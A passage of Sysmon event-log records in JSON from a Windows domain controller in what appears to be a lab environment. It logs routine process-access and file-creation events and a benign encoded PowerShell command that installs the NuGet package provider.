C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4440,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010C1360600}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010C1360600}","TargetProcessId":"5012","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4441,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.272\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.272","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4442,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.287\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kvqldb01.eoy.ps1\r\nCreationUtcTime: 2020-08-07 11:55:40.287","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.287","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_kvqldb01.eoy.ps1","CreationUtcTime":"2020-08-07 11:55:40.287","EventReceivedTime":"2020-08-07 11:55:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.318\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.318","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.318\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413C-5F2D-0000-0010D6340600}\r\nTargetProcessId: 4664\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.318","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413C-5F2D-0000-0010D6340600}","TargetProcessId":"4664","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.443\r\nSourceProcessGUID: {90617006-413C-5F2D-0000-0010C1360600}\r\nSourceProcessId: 5012\r\nSourceThreadId: 812\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:40.443","SourceProcessGUID":"{90617006-413C-5F2D-0000-0010C1360600}","SourceProcessId":"5012","SourceThreadId":"812","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:41.084\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.dll\r\nCreationUtcTime: 2020-08-07 11:55:41.084","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:41.084","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.dll","CreationUtcTime":"2020-08-07 11:55:41.084","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.084\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.cmdline\r\nCreationUtcTime: 2020-08-07 11:55:41.084","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.084","ProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.cmdline","CreationUtcTime":"2020-08-07 11:55:41.084","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.091\r\nProcessGuid: {90617006-413D-5F2D-0000-001051580600}\r\nProcessId: 5048\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-413A-5F2D-0000-00201E0A0600}\r\nLogonId: 0x60A1E\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nParentProcessId: 4664\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoASQBuAHMAdABhAGwAbAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByACAALQBOAGEAbQBlACAATgB1AEcAZQB0ACAALQBNAGkAbgBpAG0AdQBtAFYAZQByAHMAaQBvAG4AIAAyAC4AOAAuADUALgAyADAAMQAgAC0ARgBvAHIAYwBlAA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.091","ProcessGuid":"{90617006-413D-5F2D-0000-001051580600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\jgklo5bk\\jgklo5bk.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-413A-5F2D-0000-00201E0A0600}","LogonId":"0x60a1e","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-413C-5F2D-0000-0010D6340600}","ParentProcessId":"4664","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyAAoASQBuAHMAdABhAGwAbAAtAFAAYQBjAGsAYQBnAGUAUAByAG8AdgBpAGQAZQByACAALQBOAGEAbQBlACAATgB1AEcAZQB0ACAALQBNAGkAbgBpAG0AdQBtAFYAZQByAHMAaQBvAG4AIAAyAC4AOAAuADUALgAyADAAMQAgAC0ARgBvAHIAYwBlAA==","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 